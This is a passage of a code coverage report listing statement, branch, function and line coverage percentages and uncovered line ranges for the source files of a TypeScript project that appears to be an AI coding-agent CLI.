 ...gents/backends |   77.32 |    86.38 |   75.52 |   77.32 |                   
  ITermBackend.ts  |   97.97 |    93.93 |     100 |   97.97 | ...78-180,255,307 
  ...essBackend.ts |   91.45 |    90.21 |   96.87 |   91.45 | ...66-467,586-592 
  TmuxBackend.ts   |    90.7 |    76.55 |   97.36 |    90.7 | ...87,697,743-747 
  detect.ts        |   31.25 |      100 |       0 |   31.25 | 34-88             
  index.ts         |     100 |      100 |     100 |     100 |                   
  iterm-it2.ts     |     100 |     92.1 |     100 |     100 | 37-38,106         
  tmux-commands.ts |    6.64 |      100 |    3.03 |    6.64 | ...93-363,386-503 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...agents/runtime |   93.37 |    87.56 |   92.44 |   93.37 |                   
  agent-context.ts |     100 |      100 |     100 |     100 |                   
  agent-core.ts    |   90.38 |    80.91 |   81.25 |   90.38 | ...2550,2596-2598 
  agent-events.ts  |     100 |      100 |     100 |     100 |                   
  ...t-headless.ts |   93.57 |    89.41 |   83.33 |   93.57 | ...04-505,508-509 
  ...nteractive.ts |   81.01 |    82.35 |   76.66 |   81.01 | ...33,535-538,541 
  ...statistics.ts |   98.29 |    82.55 |     100 |   98.29 | 141,165,206,239   
  agent-types.ts   |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...ool-policy.ts |   98.38 |      100 |    92.3 |   98.38 | 85-86             
  ...low-budget.ts |     100 |      100 |     100 |     100 |                   
  ...-scheduler.ts |   97.43 |    96.36 |     100 |   97.43 | 128-130           
  ...ow-journal.ts |   92.78 |    78.12 |     100 |   92.78 | ...49-150,192-194 
  ...ta-literal.ts |   95.96 |    92.68 |     100 |   95.96 | ...78-379,395-396 
  ...chestrator.ts |   93.85 |    90.47 |     100 |   93.85 | ...2206,2299-2302 
  ...ow-prompts.ts |     100 |      100 |     100 |     100 |                   
  ...low-runner.ts |   95.77 |    84.16 |      95 |   95.77 | ...88,356,376-379 
  ...ow-sandbox.ts |   97.29 |    88.84 |     100 |   97.29 | ...1835,1841-1842 
  ...flow-saved.ts |    96.7 |     93.9 |     100 |    96.7 | 153-154,261-264   
  ...flow-stall.ts |    97.9 |    83.33 |     100 |    97.9 | 170-171,270       
 src/agents/tasks  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/agents/team   |   84.84 |    85.84 |   91.09 |   84.84 |                   
  TeamManager.ts   |   78.24 |    83.83 |   84.12 |   78.24 | ...1907,1930-1931 
  identity.ts      |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...sionBridge.ts |     100 |      100 |     100 |     100 |                   
  mailbox.ts       |   96.02 |     87.5 |     100 |   96.02 | 352-358           
  ...ptAddendum.ts |     100 |      100 |     100 |     100 |                   
  tasks.ts         |   89.29 |    83.08 |     100 |   89.29 | ...1000,1044-1045 
  team-events.ts   |   73.68 |      100 |   66.66 |   73.68 | 140-144,151-155   
  teamHelpers.ts   |    92.5 |    95.45 |      95 |    92.5 | ...29-330,393-403 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...eam/test-utils |   95.28 |    95.34 |   98.24 |   95.28 |                   
  ...on-harness.ts |   96.49 |    85.71 |     100 |   96.49 | 128-129,141-142   
  fake-agent.ts    |     100 |    96.96 |     100 |     100 | 189,198           
  fake-backend.ts  |   86.46 |    97.61 |   95.83 |   86.46 | 124-146           
 src/config        |   86.19 |    88.32 |    78.3 |   86.19 |                   
  approval-mode.ts |     100 |      100 |     100 |     100 |                   
  ...xtDefaults.ts |     100 |      100 |     100 |     100 |                   
  config.ts        |   84.88 |    87.73 |   76.27 |   84.88 | ...9619,9623-9625 
  ...ionManager.ts |     100 |     90.9 |     100 |     100 | 27                
  models.ts        |     100 |      100 |     100 |     100 |                   
  ...sDiscovery.ts |   97.46 |    93.05 |     100 |   97.46 | ...04,182-183,202 
  storage.ts       |   96.05 |    93.43 |   89.47 |   96.05 | ...34-735,738-739 
 ...nfirmation-bus |   98.27 |    97.22 |     100 |   98.27 |                   
  message-bus.ts   |   98.14 |    97.14 |     100 |   98.14 | 42-43             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/core          |   92.82 |    88.68 |   93.95 |   92.82 |                   
  ...on-restore.ts |   88.23 |    85.41 |     100 |   88.23 | ...60,63-64,67-68 
  baseLlmClient.ts |    88.4 |    83.68 |   81.81 |    88.4 | ...59,672,678-680 
  client.ts        |   92.39 |    88.27 |   91.83 |   92.39 | ...4564,4662-4663 
  ...tGenerator.ts |   87.45 |    88.09 |   88.88 |   87.45 | ...09-510,555-561 
  ...lScheduler.ts |   90.22 |    84.96 |   94.73 |   90.22 | ...6488,6516-6532 
  ...entContext.ts |   96.63 |    90.13 |   96.66 |   96.63 | ...42,444-445,512 
  geminiChat.ts    |     100 |      100 |     100 |     100 |                   
  geminiRequest.ts |     100 |      100 |     100 |     100 |                   
  genai-compat.ts  |     100 |      100 |     100 |     100 |                   
  ...MediaLimit.ts |     100 |       96 |     100 |     100 | 96                
  ...htProtocol.ts |    9.09 |      100 |       0 |    9.09 | ...9,62-66,69-110 
  ...ream-error.ts |     100 |      100 |     100 |     100 |                   
  llm-chat.ts      |   95.21 |    90.81 |   96.69 |   95.21 | ...5744,5789-5790 
  llm-request.ts   |     100 |      100 |     100 |     100 |                   
  logger.ts        |   87.41 |    87.02 |     100 |   87.41 | ...64-568,614-628 
  ...lay-buffer.ts |     100 |      100 |     100 |     100 |                   
  ...dispatcher.ts |     100 |      100 |     100 |     100 |                   
  ...tyDefaults.ts |     100 |      100 |     100 |     100 |                   
  ...olExecutor.ts |   93.54 |    83.33 |      50 |   93.54 | 46-47             
  output-styles.ts |     100 |      100 |     100 |     100 |                   
  ...on-helpers.ts |   95.38 |    84.31 |     100 |   95.38 | ...87,215,217-218 
  ...issionFlow.ts |   98.98 |    96.96 |     100 |   98.98 | 109               
  ...try-policy.ts |     100 |      100 |     100 |     100 |                   
  ...ell-policy.ts |   94.89 |    88.54 |     100 |   94.89 | ...51-252,297-298 
  prompts.ts       |   93.89 |    91.12 |      85 |   93.89 | ...1272,1475-1476 
  ...ing-effort.ts |     100 |      100 |     100 |     100 |                   
  ...n-recovery.ts |   95.13 |       80 |     100 |   95.13 | ...06-107,142-144 
  ...t-profiler.ts |    97.9 |    81.15 |   88.23 |    97.9 | 117,124-125,130   
  stream-guards.ts |   91.16 |    93.18 |     100 |   91.16 | ...89,218-229,294 
  ...port-retry.ts |     100 |      100 |     100 |     100 |                   
  tokenLimits.ts   |     100 |    91.89 |     100 |     100 | 87,122-139        
  ...-arguments.ts |     100 |      100 |     100 |     100 |                   
  ...reparation.ts |     100 |      100 |     100 |     100 |                   
  ...tion-guard.ts |   90.38 |    94.73 |     100 |   90.38 | 83-87             
  ...allIdUtils.ts |   98.81 |    91.22 |     100 |   98.81 | 43,52             
  ...okTriggers.ts |   99.45 |     92.5 |     100 |   99.45 | 182,193           
  ...terruption.ts |     100 |     92.3 |     100 |     100 | 86,104            
  turn.ts          |   99.19 |    94.48 |     100 |   99.19 | 765-766,835       
  ...l-fallback.ts |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   96.62 |    89.21 |   97.43 |   96.62 |                   
  ...tGenerator.ts |   97.71 |    89.13 |   97.43 |   97.71 | ...1539,1568,1579 
  converter.ts     |   96.19 |    89.25 |     100 |   96.19 | ...1334,1555-1557 
  index.ts         |       0 |        0 |       0 |       0 | 1-21              
  usage.ts         |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |     100 |      100 |     100 |     100 |                   
  ...tGenerator.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 ...tent-generator |   89.24 |    72.72 |   94.11 |   89.24 |                   
  index.ts         |     100 |    85.71 |     100 |     100 | 51                
  ...-generator.ts |   87.54 |    71.42 |   93.75 |   87.54 | ...93-294,356-362 
 ...ntentGenerator |   95.78 |    90.51 |   96.22 |   95.78 |                   
  ...e-snapshot.ts |   97.39 |    89.65 |     100 |   97.39 | ...,49-50,151-152 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tGenerator.ts |   95.38 |    90.14 |   95.12 |   95.38 | ...1345-1346,1374 
  ...tDetection.ts |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   92.41 |    90.86 |   96.33 |   92.41 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  converter.ts     |   91.25 |    89.66 |   96.87 |   91.25 | ...1946,2115-2130 
  errorHandler.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |   76.19 |    88.88 |      50 |   76.19 | 44-53,90-94       
  ...tGenerator.ts |      70 |    73.33 |     100 |      70 | ...07-112,121-127 
  pipeline.ts      |    96.3 |    91.36 |     100 |    96.3 | ...1204-1205,1312 
  ...ix-caching.ts |   95.23 |    92.85 |     100 |   95.23 | 45-46,69-70       
  ...ureContext.ts |     100 |      100 |     100 |     100 |                   
  ...ingOptions.ts |       0 |        0 |       0 |       0 | 1                 
  ...CallParser.ts |   92.11 |    92.25 |     100 |   92.11 | ...21-522,542-545 
  ...kingParser.ts |     100 |    96.87 |     100 |     100 | 42                
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...rator/provider |   97.24 |       92 |   98.64 |   97.24 |                   
  dashscope.ts     |   98.42 |    95.27 |   96.55 |   98.42 | ...51-752,894-895 
  deepseek.ts      |   95.34 |    90.56 |     100 |   95.34 | ...54-155,168-169 
  default.ts       |   98.87 |       96 |     100 |   98.87 | 178,304           
  index.ts         |     100 |      100 |     100 |     100 |                   
  mimo.ts          |   94.11 |    66.66 |     100 |   94.11 | 29,52-53          
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  mistral.ts       |   96.07 |    73.33 |     100 |   96.07 | 32-33             
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  openrouter.ts    |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 |                   
  utils.ts         |     100 |      100 |     100 |     100 |                   
  zai.ts           |      90 |    76.31 |     100 |      90 | ...,72-73,173-175 
 src/extension     |   88.79 |    86.22 |   93.46 |   88.79 |                   
  ...ive-safety.ts |   97.77 |    93.75 |     100 |   97.77 | 100-101           
  ...-converter.ts |   80.55 |    73.66 |     100 |   80.55 | ...1133,1179-1180 
  corruptFile.ts   |     100 |       50 |     100 |     100 | 40-45             
  ...-converter.ts |     100 |      100 |     100 |     100 |                   
  ...git-client.ts |     100 |      100 |     100 |     100 |                   
  ...redentials.ts |   95.33 |    89.47 |     100 |   95.33 | ...21-122,173-175 
  ...me-refresh.ts |     100 |      100 |     100 |     100 |                   
  ...sion-store.ts |   92.82 |    89.27 |    98.3 |   92.82 | ...1641-1647,1691 
  ...ionManager.ts |   84.52 |    83.52 |      83 |   84.52 | ...3139,3177-3178 
  ...references.ts |     100 |     90.9 |     100 |     100 | ...05,129,197,200 
  ...onSettings.ts |    92.3 |     94.4 |     100 |    92.3 | ...98-501,570-571 
  ...-converter.ts |    75.9 |    85.71 |   85.71 |    75.9 | ...98,202,214-248 
  github.ts        |   92.43 |    87.52 |     100 |   92.43 | ...1293-1294,1304 
  http-client.ts   |   84.61 |       80 |     100 |   84.61 | 20-21             
  i18n.ts          |   78.26 |       96 |      50 |   78.26 | 104-110,116-123   
  index.ts         |     100 |      100 |     100 |     100 |                   
  marketplace.ts   |   88.39 |    83.11 |     100 |   88.39 | ...08,494,507-508 
  ...ork-policy.ts |   89.72 |    90.16 |     100 |   89.72 | ...36,148-154,156 
  npm.ts           |   89.02 |    81.81 |     100 |   89.02 | ...86-688,695-700 
  override.ts      |   94.11 |    93.54 |     100 |   94.11 | 63-64,81-82       
  ...-converter.ts |   94.89 |    90.41 |     100 |   94.89 | ...50-151,222-224 
  redaction.ts     |     100 |      100 |     100 |     100 |                   
  settings.ts      |   66.26 |      100 |      50 |   66.26 | 81-107,141-146    
  ...ceRegistry.ts |   94.01 |    83.33 |     100 |   94.01 | ...38-344,365-366 
  storage.ts       |     100 |      100 |     100 |     100 |                   
  ...ableSchema.ts |     100 |      100 |     100 |     100 |                   
  variables.ts     |   88.95 |    84.21 |     100 |   88.95 | ...32-235,238-241 
  ...extraction.ts |   85.77 |       81 |   89.47 |   85.77 | ...02-205,260-261 
 ...ent-plugins-v1 |   84.94 |    79.51 |     100 |   84.94 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  manifest.ts      |   81.87 |    84.48 |     100 |   81.87 | ...55-156,161-174 
  mcp.ts           |   84.98 |    79.56 |     100 |   84.98 | ...88-389,419-420 
  paths.ts         |     100 |    94.44 |     100 |     100 | 59                
  skills.ts        |   82.31 |    63.88 |     100 |   82.31 | ...38-141,150-151 
 src/followup      |   84.78 |    82.27 |   86.84 |   84.78 |                   
  followupState.ts |   98.44 |    95.74 |     100 |   98.44 | 236-237           
  index.ts         |     100 |      100 |     100 |     100 |                   
  overlayFs.ts     |   96.29 |    88.88 |     100 |   96.29 | 78,108,122        
  speculation.ts   |   76.53 |    71.96 |   58.33 |   76.53 | ...48-749,756-757 
  ...onToolGate.ts |   97.97 |     87.5 |     100 |   97.97 | 105,110           
  ...nGenerator.ts |   86.11 |    87.17 |     100 |   86.11 | ...39-244,356-358 
 src/generated     |       0 |        0 |       0 |       0 |                   
  git-commit.ts    |       0 |        0 |       0 |       0 | 1-10              
 src/goals         |   93.59 |    90.38 |      95 |   93.59 |                   
  ...eGoalStore.ts |   87.61 |    88.88 |   86.66 |   87.61 | ...85-188,196-204 
  ...t-verifier.ts |   99.45 |    97.05 |     100 |   99.45 | 155               
  ...checkpoint.ts |   86.08 |    85.18 |     100 |   86.08 | ...29-132,142-145 
  ...ion-prompt.ts |     100 |      100 |     100 |     100 |                   
  goal-evidence.ts |    88.7 |     88.2 |   97.67 |    88.7 | ...1219,1242-1245 
  ...projection.ts |   66.66 |    72.97 |   33.33 |   66.66 | ...87,190,194-196 
  ...ersistence.ts |   87.36 |    85.96 |    87.5 |   87.36 | ...53-154,185-190 
  goal-protocol.ts |   97.56 |    96.42 |     100 |   97.56 | 322-323           
  goal-reducer.ts  |   95.75 |    93.82 |   97.36 |   95.75 | ...76,666,684-685 
  goal-runtime.ts  |   96.51 |    90.64 |   96.49 |   96.51 | ...1645-1646,1777 
  ...provenance.ts |     100 |      100 |     100 |     100 |                   
  goal-tools.ts    |   98.58 |     95.2 |   96.15 |   98.58 | ...41-242,350-351 
  ...rn-context.ts |     100 |      100 |     100 |     100 |                   
  goal-verifier.ts |   92.46 |    93.02 |     100 |   92.46 | ...69-172,185-187 
  goal-wire.ts     |       0 |        0 |       0 |       0 | 1-28              
  goalHook.ts      |   96.91 |    92.42 |     100 |   96.91 | 115-120,221-222   
  goalJudge.ts     |   95.84 |    87.09 |     100 |   95.84 | ...55-356,448-449 
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/hooks         |   89.12 |     87.1 |    89.8 |   89.12 |                   
  ...okRegistry.ts |   86.48 |    77.08 |     100 |   86.48 | ...41-344,362-369 
  ...bortSignal.ts |     100 |      100 |     100 |     100 |                   
  context-usage.ts |     100 |      100 |     100 |     100 |                   
  ...terpolator.ts |   96.66 |    93.33 |     100 |   96.66 | 66-67             
  ...HookRunner.ts |   96.68 |    87.23 |     100 |   96.68 | 110-112,231-233   
  ...Aggregator.ts |   96.57 |    91.48 |     100 |   96.57 | ...20-321,402,404 
  ...entHandler.ts |   95.57 |    84.76 |   94.73 |   95.57 | ...1040-1041,1051 
  hookPlanner.ts   |   87.55 |    85.54 |   86.66 |   87.55 | ...22-226,233-244 
  hookRegistry.ts  |   92.53 |    85.43 |     100 |   92.53 | ...39,458,462,466 
  hookRunner.ts    |   75.58 |    83.23 |   87.87 |   75.58 | ...25-927,937-940 
  hookSystem.ts    |   87.64 |     98.5 |   70.83 |   87.64 | ...58-759,765-766 
  ...HookRunner.ts |   79.06 |    66.66 |      80 |   79.06 | ...33-434,452-456 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...edCallback.ts |     100 |      100 |     100 |     100 |                   
  ...HookRunner.ts |   94.19 |    84.37 |   81.81 |   94.19 | ...76-384,458-459 
  ...SkillHooks.ts |   82.47 |    84.21 |      75 |   82.47 | 63-67,169-184     
  ...oksManager.ts |   94.87 |    90.12 |     100 |   94.87 | ...84,325,327-329 
  ssrfGuard.ts     |   86.45 |    89.13 |     100 |   86.45 | ...85,289-295,301 
  stopHookCap.ts   |     100 |      100 |     100 |     100 |                   
  trustedHooks.ts  |      90 |    52.63 |     100 |      90 | ...53,66-67,97-98 
  types.ts         |   94.25 |    96.09 |   88.88 |   94.25 | ...46-547,632-636 
  urlValidator.ts  |     100 |      100 |     100 |     100 |                   
  ...it-context.ts |     100 |      100 |     100 |     100 |                   
 src/ide           |   76.98 |    85.03 |   79.03 |   76.98 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  detect-ide.ts    |     100 |      100 |     100 |     100 |                   
  ide-client.ts    |   69.16 |    84.65 |   68.29 |   69.16 | ...1068,1097-1105 
  ide-installer.ts |   89.06 |    79.31 |     100 |   89.06 | ...36,143-147,160 
  ideContext.ts    |     100 |      100 |     100 |     100 |                   
  process-utils.ts |   84.84 |    71.79 |     100 |   84.84 | ...37,151,193-194 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/ipc           |   92.72 |    90.15 |    97.5 |   92.72 |                   
  inbound-gate.ts  |   98.93 |     89.1 |     100 |   98.93 | 522-524           
  peer-envelope.ts |     100 |      100 |     100 |     100 |                   
  peer-frames.ts   |   97.45 |    93.65 |     100 |   97.45 | 235-237           
  socket-path.ts   |   85.71 |    93.33 |     100 |   85.71 | 83-88             
  uds-client.ts    |   85.71 |    94.11 |      80 |   85.71 | 162-175           
  uds-inbox.ts     |   82.42 |    81.81 |     100 |   82.42 | ...33,240-250,282 
 src/lsp           |   58.96 |    70.67 |   66.49 |   58.96 |                   
  ...nfigLoader.ts |   80.55 |    72.22 |   95.65 |   80.55 | ...02-504,508-514 
  ...ionFactory.ts |   42.81 |    73.07 |      50 |   42.81 | ...76-427,433-450 
  ...Normalizer.ts |   23.09 |    13.72 |   30.43 |   23.09 | ...04-905,909-924 
  ...verManager.ts |   75.73 |     80.1 |   79.66 |   75.73 | ...1346,1352-1382 
  ...eLspClient.ts |   32.78 |    81.81 |   21.05 |   32.78 | ...89-293,299-300 
  ...LspService.ts |      60 |    73.36 |   78.26 |      60 | ...1575,1635-1645 
  configHash.ts    |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/mcp           |    82.3 |    77.81 |   78.33 |    82.3 |                   
  configHash.ts    |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...h-provider.ts |   86.95 |      100 |   33.33 |   86.95 | ...,93,97,101-102 
  ...h-provider.ts |   79.31 |    58.06 |     100 |   79.31 | ...26-933,940-942 
  ...en-storage.ts |   98.78 |    97.95 |     100 |   98.78 | 106-107           
  oauth-utils.ts   |   73.61 |    85.48 |    92.3 |   73.61 | ...46-366,392-421 
  ...n-provider.ts |   89.83 |       96 |   45.45 |   89.83 | ...43,147,151-152 
 .../token-storage |   82.12 |    88.48 |   89.28 |   82.12 |                   
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   87.08 |    87.71 |   95.23 |   87.08 | ...00-201,214-215 
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   68.14 |    82.35 |   64.28 |   68.14 | ...81-295,298-314 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/memory        |    89.3 |    85.28 |   92.03 |    89.3 |                   
  ...y-document.ts |   89.52 |    84.61 |     100 |   89.52 | ...24-325,329-330 
  ...nel-memory.ts |   97.36 |    96.63 |   96.42 |   97.36 | ...91-293,367-368 
  dream.ts         |    64.6 |    72.22 |      50 |    64.6 | ...04-109,124-165 
  ...entPlanner.ts |     100 |    83.33 |     100 |     100 | 135,145           
  entries.ts       |   75.59 |    84.84 |   83.33 |   75.59 | ...56-157,172-180 
  extract.ts       |   93.82 |    84.09 |     100 |   93.82 | 78-83,122,154-157 
  ...entPlanner.ts |   91.55 |    76.74 |     100 |   91.55 | ...05,118-121,296 
  ...ionPlanner.ts |       0 |        0 |       0 |       0 | 1                 
  forget.ts        |   90.16 |    78.76 |   94.44 |   90.16 | ...06,629,642-648 
  indexer.ts       |   94.14 |       84 |     100 |   94.14 | ...32-233,334,337 
  ...kill-agent.ts |   97.94 |    89.36 |     100 |   97.94 | 82-83,179-180     
  manager.ts       |   78.51 |    83.16 |   77.77 |   78.51 | ...1487,1500-1502 
  ...ent-config.ts |    91.3 |    83.73 |   91.66 |    91.3 | ...07,416-417,421 
  memoryAge.ts     |   90.47 |    83.33 |     100 |   90.47 | 50-51             
  ...yDiscovery.ts |   93.48 |    90.09 |     100 |   93.48 | ...42,401,629-632 
  paths.ts         |     100 |      100 |     100 |     100 |                   
  ...ing-skills.ts |     100 |       72 |     100 |     100 | 31-35,73-78,97    
  prompt.ts        |   97.26 |    86.79 |     100 |   97.26 | ...10-218,222,225 
  recall.ts        |   86.86 |    86.23 |   92.85 |   86.86 | ...33-538,571-582 
  refresh.ts       |   93.58 |    89.58 |     100 |   93.58 | ...75-176,183-184 
  ...ceSelector.ts |    93.2 |    85.71 |     100 |    93.2 | ...45-146,148-149 
  remember.ts      |   98.88 |    90.38 |     100 |   98.88 | 50,70             
  scan.ts          |   93.75 |       80 |     100 |   93.75 | ...08-109,154,157 
  scopes.ts        |     100 |      100 |     100 |     100 |                   
  ...et-scanner.ts |     100 |      100 |     100 |     100 |                   
  ...entPlanner.ts |   79.76 |    76.84 |      80 |   79.76 | ...69-473,476,482 
  status.ts        |   10.52 |      100 |       0 |   10.52 | 41-98             
  store.ts         |   92.92 |    81.81 |     100 |   92.92 | ...16-117,147-148 
  ...git-status.ts |     100 |    85.71 |     100 |     100 | 27                
  ...cret-guard.ts |     100 |      100 |     100 |     100 |                   
  ...emory-sync.ts |   94.24 |    82.85 |     100 |   94.24 | ...34-236,246-247 
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...ontextFile.ts |   81.21 |    81.53 |   81.81 |   81.21 | ...66-280,294-299 
 src/mocks         |       0 |        0 |       0 |       0 |                   
  msw.ts           |       0 |        0 |       0 |       0 | 1-9               
 src/models        |   92.82 |    89.39 |   91.35 |   92.82 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...tor-config.ts |   97.77 |    91.83 |     100 |   97.77 | 155,161,171       
  ...capability.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nfigErrors.ts |   79.43 |    64.51 |   85.71 |   79.43 | ...,89-96,131-142 
  ...igResolver.ts |   98.71 |    93.33 |     100 |   98.71 | 166,328,334       
  modelRegistry.ts |     100 |    98.11 |     100 |     100 | 177,262           
  modelsConfig.ts  |   89.36 |    86.93 |   88.09 |   89.36 | ...1407,1436-1437 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/output        |     100 |      100 |     100 |     100 |                   
  ...-formatter.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/permissions   |   84.33 |    91.62 |   71.54 |   84.33 |                   
  autoMode.ts      |   97.66 |    93.13 |     100 |   97.66 | ...82-589,635,712 
  ...transcript.ts |      98 |       84 |     100 |      98 | 200-201           
  classifier.ts    |      94 |    94.54 |     100 |      94 | 158-165,389-393   
  ...erousRules.ts |     100 |    90.19 |     100 |     100 | 110,133,147,175   
  ...alTracking.ts |     100 |      100 |     100 |     100 |                   
  ...e-commands.ts |   86.77 |     73.8 |     100 |   86.77 | 131-141,210-214   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...on-manager.ts |   88.26 |     91.9 |   82.35 |   88.26 | ...1374,1480-1484 
  rule-parser.ts   |    94.9 |    92.81 |     100 |    94.9 | ...1552,1586-1588 
  ...-semantics.ts |   70.44 |    91.09 |   46.66 |   70.44 | ...2237,2311-2314 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...sifier-prompts |   99.05 |    95.23 |     100 |   99.05 |                   
  system-prompt.ts |   99.05 |    95.23 |     100 |   99.05 | 226               
 src/prompts       |   83.63 |      100 |    87.5 |   83.63 |                   
  mcp-prompts.ts   |   18.18 |      100 |       0 |   18.18 | 11-19             
  ...t-registry.ts |     100 |      100 |     100 |     100 |                   
 src/providers     |   85.14 |    80.63 |   82.85 |   85.14 |                   
  all-providers.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  install.ts       |   93.11 |     84.5 |     100 |   93.11 | ...56-257,330-331 
  ...-discovery.ts |    95.4 |    94.44 |     100 |    95.4 | 31-32,42-43       
  ...der-config.ts |   75.91 |    73.48 |   78.26 |   75.91 | ...74-475,503-504 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...viders/presets |   98.04 |    91.66 |   63.63 |   98.04 |                   
  ...oding-plan.ts |    87.5 |      100 |       0 |    87.5 | 82-84,87-89,91-94 
  ...a-standard.ts |     100 |      100 |     100 |     100 |                   
  ...token-plan.ts |     100 |      100 |     100 |     100 |                   
  ...m-provider.ts |   97.05 |    81.25 |      75 |   97.05 | 118-119           
  deepseek.ts      |     100 |      100 |     100 |     100 |                   
  grok.ts          |     100 |      100 |     100 |     100 |                   
  idealab.ts       |     100 |      100 |     100 |     100 |                   
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  moonshot.ts      |     100 |      100 |     100 |     100 |                   
  openrouter.ts    |     100 |      100 |     100 |     100 |                   
  requesty.ts      |     100 |      100 |     100 |     100 |                   
  zai.ts           |     100 |      100 |     100 |     100 |                   
 src/qwen          |   85.36 |    78.82 |   95.94 |   85.36 |                   
  ...tGenerator.ts |    98.6 |    98.14 |     100 |    98.6 | 103-104           
  qwenOAuth2.ts    |   82.79 |    73.91 |    90.9 |   82.79 | ...1205-1221,1251 
  ...kenManager.ts |   85.36 |     76.8 |     100 |   85.36 | ...52-757,778-783 
 src/resources     |     100 |      100 |     100 |     100 |                   
  ...e-registry.ts |     100 |      100 |     100 |     100 |                   
 src/services      |   90.64 |    86.19 |   96.55 |   90.64 |                   
  ...ionTrailer.ts |     100 |      100 |     100 |     100 |                   
  ...llRegistry.ts |   98.48 |    87.28 |     100 |   98.48 | 81-82,105,474-475 
  branch-points.ts |     100 |    95.23 |     100 |     100 | ...20,211,224,327 
  ...ionService.ts |   97.72 |    96.53 |     100 |   97.72 | ...1081,1224-1232 
  ...ingService.ts |    92.6 |    88.14 |   94.73 |    92.6 | ...2856,2871-2872 
  ...ttribution.ts |   91.73 |    87.71 |      90 |   91.73 | ...80-685,826-827 
  ...utSlimming.ts |    97.2 |    94.23 |     100 |    97.2 | ...39-340,378-381 
  cronScheduler.ts |   94.17 |    90.45 |      98 |   94.17 | ...1333,1736-1737 
  cronTasksFile.ts |   95.52 |    90.99 |     100 |   95.52 | ...37,346-347,483 
  cronTasksLock.ts |   94.44 |    89.47 |     100 |   94.44 | ...02-103,132-133 
  ...eryService.ts |   96.22 |    93.54 |      90 |   96.22 | 121,155-156,161   
  ...oryService.ts |   88.17 |    79.02 |    92.3 |   88.17 | ...1303,1344-1347 
  fileReadCache.ts |    97.5 |    96.07 |     100 |    97.5 | 349-350,363-364   
  ...temService.ts |    92.8 |    84.68 |   94.11 |    92.8 | ...53,479-486,531 
  ...ratedFiles.ts |      96 |    88.23 |     100 |      96 | 119-120,146-147   
  gitInit.ts       |     100 |      100 |     100 |     100 |                   
  ...reeService.ts |   74.75 |    70.76 |   96.07 |   74.75 | ...2296,2325-2326 
  ...on-service.ts |   86.58 |    74.39 |     100 |   86.58 | ...56-460,498-499 
  ...references.ts |   98.57 |    91.42 |     100 |   98.57 | 156-157,217-218   
  ...ionService.ts |   98.26 |    97.24 |     100 |   98.26 | ...65-866,889-890 
  ...ticsDumper.ts |   98.37 |    95.23 |     100 |   98.37 | 185-186           
  ...ureMonitor.ts |   95.82 |    90.52 |   97.05 |   95.82 | ...60,861,875-877 
  ...orRegistry.ts |   97.22 |    90.99 |     100 |   97.22 | ...55-456,609-610 
  ...ttachments.ts |   97.74 |     90.9 |     100 |   97.74 | 298-308,646       
  ...pi-history.ts |   98.94 |    89.13 |     100 |   98.94 | 43                
  ...ersistence.ts |   91.88 |    81.19 |     100 |   91.88 | ...1073-1074,1119 
  ...tory-state.ts |     100 |    95.23 |     100 |     100 | 31                
  ...on-service.ts |   94.61 |    92.44 |   97.22 |   94.61 | ...11-613,669-677 
  ...pr-service.ts |   96.04 |    89.74 |     100 |   96.04 | 72,98-101,190-191 
  ...ce-service.ts |    98.5 |    94.11 |    90.9 |    98.5 | 64-65             
  ...n-registry.ts |   98.74 |    94.92 |     100 |   98.74 | 601,655-656,714   
  ...ken-counts.ts |     100 |       96 |     100 |     100 | 58                
  ...ipt-reader.ts |    93.7 |    91.22 |    97.8 |    93.7 | ...2791-2792,2869 
  ...turn-state.ts |   94.11 |     90.9 |   91.66 |   94.11 | 108-112,129-130   
  ...est-helper.ts |       0 |        0 |       0 |       0 | 1-65              
  ...iter-lease.ts |   84.57 |    75.18 |   97.72 |   84.57 | ...2567,2589,2603 
  sessionRecap.ts  |   67.56 |    43.47 |     100 |   67.56 | ...60,178,180-183 
  ...ionService.ts |   88.82 |    85.68 |    91.4 |   88.82 | ...4049-4050,4091 
  sessionTitle.ts  |   96.35 |    79.71 |     100 |   96.35 | ...08-311,342-343 
